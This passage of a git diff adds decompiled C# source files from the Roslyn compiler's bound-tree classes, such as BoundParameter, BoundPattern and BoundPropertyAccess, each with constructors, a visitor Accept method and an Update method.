BoundParameter(SyntaxNode syntax, ParameterSymbol parameterSymbol, TypeSymbol type, bool hasErrors) + : base(BoundKind.Parameter, syntax, type, hasErrors) + { + ParameterSymbol = parameterSymbol; + } + + public BoundParameter(SyntaxNode syntax, ParameterSymbol parameterSymbol, TypeSymbol type) + : base(BoundKind.Parameter, syntax, type) + { + ParameterSymbol = parameterSymbol; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitParameter(this); + } + + public BoundParameter Update(ParameterSymbol parameterSymbol, TypeSymbol type) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(parameterSymbol, ParameterSymbol) || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundParameter boundParameter = new BoundParameter(Syntax, parameterSymbol, type, base.HasErrors); + boundParameter.CopyAttributes(this); + return boundParameter; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundParameterEqualsValue.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundParameterEqualsValue.cs new file mode 100644 index 0000000..29db920 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundParameterEqualsValue.cs @@ -0,0 +1,33 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundParameterEqualsValue : BoundEqualsValue +{ + public ParameterSymbol Parameter { get; } + + public BoundParameterEqualsValue(SyntaxNode syntax, ParameterSymbol parameter, ImmutableArray locals, BoundExpression value, bool hasErrors = false) + : base(BoundKind.ParameterEqualsValue, syntax, locals, value, hasErrors || value.HasErrors()) + { + Parameter = parameter; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitParameterEqualsValue(this); + } + + public BoundParameterEqualsValue Update(ParameterSymbol parameter, ImmutableArray locals, BoundExpression value) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(parameter, Parameter) || locals != base.Locals || value != base.Value) + { + BoundParameterEqualsValue boundParameterEqualsValue = new BoundParameterEqualsValue(Syntax, parameter, locals, value, base.HasErrors); + boundParameterEqualsValue.CopyAttributes(this); + return boundParameterEqualsValue; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundParameterId.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundParameterId.cs new file mode 100644 index 0000000..dea939f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundParameterId.cs @@ -0,0 +1,44 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundParameterId : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public ParameterSymbol Parameter { get; } + + public FieldSymbol? HoistedField { get; } + + public BoundParameterId(SyntaxNode syntax, ParameterSymbol parameter, FieldSymbol? hoistedField, TypeSymbol type, bool hasErrors) + : base(BoundKind.ParameterId, syntax, type, hasErrors) + { + Parameter = parameter; + HoistedField = hoistedField; + } + + public BoundParameterId(SyntaxNode syntax, ParameterSymbol parameter, FieldSymbol? hoistedField, TypeSymbol type) + : base(BoundKind.ParameterId, syntax, type) + { + Parameter = parameter; + HoistedField = hoistedField; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitParameterId(this); + } + + public BoundParameterId Update(ParameterSymbol parameter, FieldSymbol? hoistedField, TypeSymbol type) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(parameter, Parameter) || !SymbolEqualityComparer.ConsiderEverything.Equals(hoistedField, HoistedField) || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundParameterId boundParameterId = new BoundParameterId(Syntax, parameter, hoistedField, type, base.HasErrors); + boundParameterId.CopyAttributes(this); + return boundParameterId; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPassByCopy.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPassByCopy.cs new file mode 100644 index 0000000..dfb9a18 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPassByCopy.cs @@ -0,0 +1,41 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundPassByCopy : BoundExpression +{ + public override ConstantValue? ConstantValueOpt => null; + + public override Symbol? ExpressionSymbol => Expression.ExpressionSymbol; + + protected override ImmutableArray Children => ImmutableArray.Create((BoundNode)Expression); + + public override object Display => Expression.Display; + + public BoundExpression Expression { get; } + + public BoundPassByCopy(SyntaxNode syntax, BoundExpression expression, TypeSymbol? type, bool hasErrors = false) + : base(BoundKind.PassByCopy, syntax, type, hasErrors || expression.HasErrors()) + { + Expression = expression; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitPassByCopy(this); + } + + public BoundPassByCopy Update(BoundExpression expression, TypeSymbol? type) + { + if (expression != Expression || !TypeSymbol.Equals(type, base.Type, (TypeCompareKind)0)) + { + BoundPassByCopy boundPassByCopy = new BoundPassByCopy(Syntax, expression, type, base.HasErrors); + boundPassByCopy.CopyAttributes(this); + return boundPassByCopy; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPattern.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPattern.cs new file mode 100644 index 0000000..7ef3a2c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPattern.cs @@ -0,0 +1,36 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundPattern : BoundNode +{ + public TypeSymbol InputType { get; } + + public TypeSymbol NarrowedType { get; } + + internal bool IsNegated(out BoundPattern innerPattern) + { + innerPattern = this; + bool flag = false; + while (innerPattern is BoundNegatedPattern boundNegatedPattern) + { + flag = !flag; + innerPattern = boundNegatedPattern.Negated; + } + return flag; + } + + protected BoundPattern(BoundKind kind, SyntaxNode syntax, TypeSymbol inputType, TypeSymbol narrowedType, bool hasErrors) + : base(kind, syntax, hasErrors) + { + InputType = inputType; + NarrowedType = narrowedType; + } + + protected BoundPattern(BoundKind kind, SyntaxNode syntax, TypeSymbol inputType, TypeSymbol narrowedType) + : base(kind, syntax) + { + InputType = inputType; + NarrowedType = narrowedType; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPatternBinding.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPatternBinding.cs new file mode 100644 index 0000000..905a86c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPatternBinding.cs @@ -0,0 +1,21 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal readonly struct BoundPatternBinding(BoundExpression variableAccess, BoundDagTemp tempContainingValue) +{ + public readonly BoundExpression VariableAccess = variableAccess; + + public readonly BoundDagTemp TempContainingValue = tempContainingValue; + + public override string ToString() + { + return GetDebuggerDisplay(); + } + + internal string GetDebuggerDisplay() + { + return "(" + VariableAccess.GetDebuggerDisplay() + " = " + TempContainingValue.GetDebuggerDisplay() + ")"; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPointerElementAccess.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPointerElementAccess.cs new file mode 100644 index 0000000..017c480 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPointerElementAccess.cs @@ -0,0 +1,46 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundPointerElementAccess : BoundExpression +{ + protected override ImmutableArray Children => ImmutableArray.Create((BoundNode)Expression, (BoundNode)Index); + + public new TypeSymbol Type => base.Type; + + public BoundExpression Expression { get; } + + public BoundExpression Index { get; } + + public bool Checked { get; } + + public bool RefersToLocation { get; } + + public BoundPointerElementAccess(SyntaxNode syntax, BoundExpression expression, BoundExpression index, bool @checked, bool refersToLocation, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.PointerElementAccess, syntax, type, hasErrors || expression.HasErrors() || index.HasErrors()) + { + Expression = expression; + Index = index; + Checked = @checked; + RefersToLocation = refersToLocation; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitPointerElementAccess(this); + } + + public BoundPointerElementAccess Update(BoundExpression expression, BoundExpression index, bool @checked, bool refersToLocation, TypeSymbol type) + { + if (expression != Expression || index != Index || @checked != Checked || refersToLocation != RefersToLocation || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundPointerElementAccess boundPointerElementAccess = new BoundPointerElementAccess(Syntax, expression, index, @checked, refersToLocation, type, base.HasErrors); + boundPointerElementAccess.CopyAttributes(this); + return boundPointerElementAccess; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPointerIndirectionOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPointerIndirectionOperator.cs new file mode 100644 index 0000000..a97fee5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPointerIndirectionOperator.cs @@ -0,0 +1,40 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundPointerIndirectionOperator : BoundExpression +{ + protected override ImmutableArray Children => ImmutableArray.Create((BoundNode)Operand); + + public new TypeSymbol Type => base.Type; + + public BoundExpression Operand { get; } + + public bool RefersToLocation { get; } + + public BoundPointerIndirectionOperator(SyntaxNode syntax, BoundExpression operand, bool refersToLocation, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.PointerIndirectionOperator, syntax, type, hasErrors || operand.HasErrors()) + { + Operand = operand; + RefersToLocation = refersToLocation; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitPointerIndirectionOperator(this); + } + + public BoundPointerIndirectionOperator Update(BoundExpression operand, bool refersToLocation, TypeSymbol type) + { + if (operand != Operand || refersToLocation != RefersToLocation || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundPointerIndirectionOperator boundPointerIndirectionOperator = new BoundPointerIndirectionOperator(Syntax, operand, refersToLocation, type, base.HasErrors); + boundPointerIndirectionOperator.CopyAttributes(this); + return boundPointerIndirectionOperator; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPositionalSubpattern.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPositionalSubpattern.cs new file mode 100644 index 0000000..fa66925 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPositionalSubpattern.cs @@ -0,0 +1,32 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundPositionalSubpattern : BoundSubpattern +{ + public Symbol? Symbol { get; } + + public BoundPositionalSubpattern(SyntaxNode syntax, Symbol? symbol, BoundPattern pattern, bool hasErrors = false) + : base(BoundKind.PositionalSubpattern, syntax, pattern, hasErrors || pattern.HasErrors()) + { + Symbol = symbol; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitPositionalSubpattern(this); + } + + public BoundPositionalSubpattern Update(Symbol? symbol, BoundPattern pattern) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(symbol, Symbol) || pattern != base.Pattern) + { + BoundPositionalSubpattern boundPositionalSubpattern = new BoundPositionalSubpattern(Syntax, symbol, pattern, base.HasErrors); + boundPositionalSubpattern.CopyAttributes(this); + return boundPositionalSubpattern; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPreviousSubmissionReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPreviousSubmissionReference.cs new file mode 100644 index 0000000..0b6e63a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPreviousSubmissionReference.cs @@ -0,0 +1,36 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundPreviousSubmissionReference : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundPreviousSubmissionReference(SyntaxNode syntax, TypeSymbol type, bool hasErrors) + : base(BoundKind.PreviousSubmissionReference, syntax, type, hasErrors) + { + } + + public BoundPreviousSubmissionReference(SyntaxNode syntax, TypeSymbol type) + : base(BoundKind.PreviousSubmissionReference, syntax, type) + { + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitPreviousSubmissionReference(this); + } + + public BoundPreviousSubmissionReference Update(TypeSymbol type) + { + if (!TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundPreviousSubmissionReference boundPreviousSubmissionReference = new BoundPreviousSubmissionReference(Syntax, type, base.HasErrors); + boundPreviousSubmissionReference.CopyAttributes(this); + return boundPreviousSubmissionReference; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPropertyAccess.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPropertyAccess.cs new file mode 100644 index 0000000..0ea22ff --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPropertyAccess.cs @@ -0,0 +1,50 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundPropertyAccess : BoundExpression +{ + public override Symbol? ExpressionSymbol => PropertySymbol; + + public new TypeSymbol Type => base.Type; + + public BoundExpression? ReceiverOpt { get; } + + public ThreeState InitialBindingReceiverIsSubjectToCloning { get; } + + public PropertySymbol PropertySymbol { get; } + + public override LookupResultKind ResultKind { get; } + + public BoundPropertyAccess(SyntaxNode syntax, BoundExpression? receiverOpt, ThreeState initialBindingReceiverIsSubjectToCloning, PropertySymbol propertySymbol, LookupResultKind resultKind, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.PropertyAccess, syntax, type, hasErrors || receiverOpt.HasErrors()) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + ReceiverOpt = receiverOpt; + InitialBindingReceiverIsSubjectToCloning = initialBindingReceiverIsSubjectToCloning; + PropertySymbol = propertySymbol; + ResultKind = resultKind; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitPropertyAccess(this); + } + + public BoundPropertyAccess Update(BoundExpression? receiverOpt, ThreeState initialBindingReceiverIsSubjectToCloning, PropertySymbol propertySymbol, LookupResultKind resultKind, TypeSymbol type) + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (receiverOpt != ReceiverOpt || initialBindingReceiverIsSubjectToCloning != InitialBindingReceiverIsSubjectToCloning || !SymbolEqualityComparer.ConsiderEverything.Equals(propertySymbol, PropertySymbol) || resultKind != ResultKind || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundPropertyAccess boundPropertyAccess = new BoundPropertyAccess(Syntax, receiverOpt, initialBindingReceiverIsSubjectToCloning, propertySymbol, resultKind, type, base.HasErrors); + boundPropertyAccess.CopyAttributes(this); + return boundPropertyAccess; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPropertyEqualsValue.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPropertyEqualsValue.cs new file mode 100644 index 0000000..27731dd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPropertyEqualsValue.cs @@ -0,0 +1,33 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundPropertyEqualsValue : BoundEqualsValue +{ + public PropertySymbol Property { get; } + + public BoundPropertyEqualsValue(SyntaxNode syntax, PropertySymbol property, ImmutableArray locals, BoundExpression value, bool hasErrors = false) + : base(BoundKind.PropertyEqualsValue, syntax, locals, value, hasErrors || value.HasErrors()) + { + Property = property; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitPropertyEqualsValue(this); + } + + public BoundPropertyEqualsValue Update(PropertySymbol property, ImmutableArray locals, BoundExpression value) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(property, Property) || locals != base.Locals || value != base.Value) + { + BoundPropertyEqualsValue boundPropertyEqualsValue = new BoundPropertyEqualsValue(Syntax, property, locals, value, base.HasErrors); + boundPropertyEqualsValue.CopyAttributes(this); + return boundPropertyEqualsValue; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPropertyGroup.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPropertyGroup.cs new file mode 100644 index 0000000..723c70d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPropertyGroup.cs @@ -0,0 +1,42 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundPropertyGroup : BoundMethodOrPropertyGroup +{ + public override object Display + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/BoundTree/Formatting.cs", 108); + } + } + + public ImmutableArray Properties { get; } + + public BoundPropertyGroup(SyntaxNode syntax, ImmutableArray properties, BoundExpression? receiverOpt, LookupResultKind resultKind, bool hasErrors = false) + : base(BoundKind.PropertyGroup, syntax, receiverOpt, resultKind, hasErrors || receiverOpt.HasErrors()) + { + Properties = properties; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitPropertyGroup(this); + } + + public BoundPropertyGroup Update(ImmutableArray properties, BoundExpression? receiverOpt, LookupResultKind resultKind) + { + if (properties != Properties || receiverOpt != base.ReceiverOpt || resultKind != ResultKind) + { + BoundPropertyGroup boundPropertyGroup = new BoundPropertyGroup(Syntax, properties, receiverOpt, resultKind, base.HasErrors); + boundPropertyGroup.CopyAttributes(this); + return boundPropertyGroup; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPropertySubpattern.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPropertySubpattern.cs new file mode 100644 index 0000000..7b10c7a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPropertySubpattern.cs @@ -0,0 +1,34 @@ +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundPropertySubpattern : BoundSubpattern +{ + public BoundPropertySubpatternMember? Member { get; } + + public bool IsLengthOrCount { get; } + + public BoundPropertySubpattern(SyntaxNode syntax, BoundPropertySubpatternMember? member, bool isLengthOrCount, BoundPattern pattern, bool hasErrors = false) + : base(BoundKind.PropertySubpattern, syntax, pattern, hasErrors || member.HasErrors() || pattern.HasErrors()) + { + Member = member; + IsLengthOrCount = isLengthOrCount; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitPropertySubpattern(this); + } + + public BoundPropertySubpattern Update(BoundPropertySubpatternMember? member, bool isLengthOrCount, BoundPattern pattern) + { + if (member != Member || isLengthOrCount != IsLengthOrCount || pattern != base.Pattern) + { + BoundPropertySubpattern boundPropertySubpattern = new BoundPropertySubpattern(Syntax, member, isLengthOrCount, pattern, base.HasErrors); + boundPropertySubpattern.CopyAttributes(this); + return boundPropertySubpattern; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPropertySubpatternMember.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPropertySubpatternMember.cs new file mode 100644 index 0000000..12c2a4e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPropertySubpatternMember.cs @@ -0,0 +1,38 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundPropertySubpatternMember : BoundNode +{ + public BoundPropertySubpatternMember? Receiver { get; } + + public Symbol? Symbol { get; } + + public TypeSymbol Type { get; } + + public BoundPropertySubpatternMember(SyntaxNode syntax, BoundPropertySubpatternMember? receiver, Symbol? symbol, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.PropertySubpatternMember, syntax, hasErrors || receiver.HasErrors()) + { + Receiver = receiver; + Symbol = symbol; + Type = type; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitPropertySubpatternMember(this); + } + + public BoundPropertySubpatternMember Update(BoundPropertySubpatternMember? receiver, Symbol? symbol, TypeSymbol type) + { + if (receiver != Receiver || !SymbolEqualityComparer.ConsiderEverything.Equals(symbol, Symbol) || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundPropertySubpatternMember boundPropertySubpatternMember = new BoundPropertySubpatternMember(Syntax, receiver, symbol, type, base.HasErrors); + boundPropertySubpatternMember.CopyAttributes(this); + return boundPropertySubpatternMember; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPseudoVariable.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPseudoVariable.cs new file mode 100644 index 0000000..5dfdfa1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundPseudoVariable.cs @@ -0,0 +1,44 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundPseudoVariable : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public LocalSymbol LocalSymbol { get; } + + public PseudoVariableExpressions EmitExpressions { get; } + + public BoundPseudoVariable(SyntaxNode syntax, LocalSymbol localSymbol, PseudoVariableExpressions emitExpressions, TypeSymbol type, bool hasErrors) + : base(BoundKind.PseudoVariable, syntax, type, hasErrors) + { + LocalSymbol = localSymbol; + EmitExpressions = emitExpressions; + } + + public BoundPseudoVariable(SyntaxNode syntax, LocalSymbol localSymbol, PseudoVariableExpressions emitExpressions, TypeSymbol type) + : base(BoundKind.PseudoVariable, syntax, type) + { + LocalSymbol = localSymbol; + EmitExpressions = emitExpressions; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitPseudoVariable(this); + } + + public BoundPseudoVariable Update(LocalSymbol localSymbol, PseudoVariableExpressions emitExpressions, TypeSymbol type) + { + if (!SymbolEqualityComparer.ConsiderEverything.Equals(localSymbol, LocalSymbol) || emitExpressions != EmitExpressions || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundPseudoVariable boundPseudoVariable = new BoundPseudoVariable(Syntax, localSymbol, emitExpressions, type, base.HasErrors); + boundPseudoVariable.CopyAttributes(this); + return boundPseudoVariable; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundQueryClause.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundQueryClause.cs new file mode 100644 index 0000000..b1d5215 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundQueryClause.cs @@ -0,0 +1,52 @@ +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundQueryClause : BoundExpression +{ + protected override ImmutableArray Children => ImmutableArray.Create((BoundNode)Value); + + public new TypeSymbol Type => base.Type; + + public BoundExpression Value { get; } + + public RangeVariableSymbol? DefinedSymbol { get; } + + public BoundExpression? Operation { get; } + + public BoundExpression? Cast { get; } + + public Binder Binder { get; } + + public BoundExpression? UnoptimizedForm { get; } + + public BoundQueryClause(SyntaxNode syntax, BoundExpression value, RangeVariableSymbol? definedSymbol, BoundExpression? operation, BoundExpression? cast, Binder binder, BoundExpression? unoptimizedForm, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.QueryClause, syntax, type, hasErrors || value.HasErrors() || operation.HasErrors() || cast.HasErrors() || unoptimizedForm.HasErrors()) + { + Value = value; + DefinedSymbol = definedSymbol; + Operation = operation; + Cast = cast; + Binder = binder; + UnoptimizedForm = unoptimizedForm; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitQueryClause(this); + } + + public BoundQueryClause Update(BoundExpression value, RangeVariableSymbol? definedSymbol, BoundExpression? operation, BoundExpression? cast, Binder binder, BoundExpression? unoptimizedForm, TypeSymbol type) + { + if (value != Value || !SymbolEqualityComparer.ConsiderEverything.Equals(definedSymbol, DefinedSymbol) || operation != Operation || cast != Cast || binder != Binder || unoptimizedForm != UnoptimizedForm || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundQueryClause boundQueryClause = new BoundQueryClause(Syntax, value, definedSymbol, operation, cast, binder, unoptimizedForm, type, base.HasErrors); + boundQueryClause.CopyAttributes(this); + return boundQueryClause; + } + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRangeExpression.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRangeExpression.cs new file mode 100644 index 0000000..301ed58 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundRangeExpression.cs @@ -0,0 +1,40 @@ +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BoundRangeExpression : BoundExpression +{ + public new TypeSymbol Type => base.Type; + + public BoundExpression? LeftOperandOpt { get; } + + public BoundExpression? RightOperandOpt { get; } + + public MethodSymbol? MethodOpt { get; } + + public BoundRangeExpression(SyntaxNode syntax, BoundExpression? leftOperandOpt, BoundExpression? rightOperandOpt, MethodSymbol? methodOpt, TypeSymbol type, bool hasErrors = false) + : base(BoundKind.RangeExpression, syntax, type, hasErrors || leftOperandOpt.HasErrors() || rightOperandOpt.HasErrors()) + { + LeftOperandOpt = leftOperandOpt; + RightOperandOpt = rightOperandOpt; + MethodOpt = methodOpt; + } + + [DebuggerStepThrough] + public override BoundNode? Accept(BoundTreeVisitor visitor) + { + return visitor.VisitRangeExpression(this); + } + + public BoundRangeExpression Update(BoundExpression? leftOperandOpt, BoundExpression? rightOperandOpt, MethodSymbol? methodOpt, TypeSymbol type) + { + if (leftOperandOpt != LeftOperandOpt || rightOperandOpt != RightOperandOpt || !SymbolEqualityComparer.ConsiderEverything.Equals(methodOpt, MethodOpt) || !TypeSymbol.Equals(type, Type, (TypeCompareKind)0)) + { + BoundRangeExpression boundRangeExpression = new BoundRangeExpression(Syntax, leftOperandOpt, rightOperandOpt, methodOpt, type, base.HasErrors); + boundRangeExpression.CopyAttributes(this); + return boundRangeExpression; + } + return this; + } +} diff --git 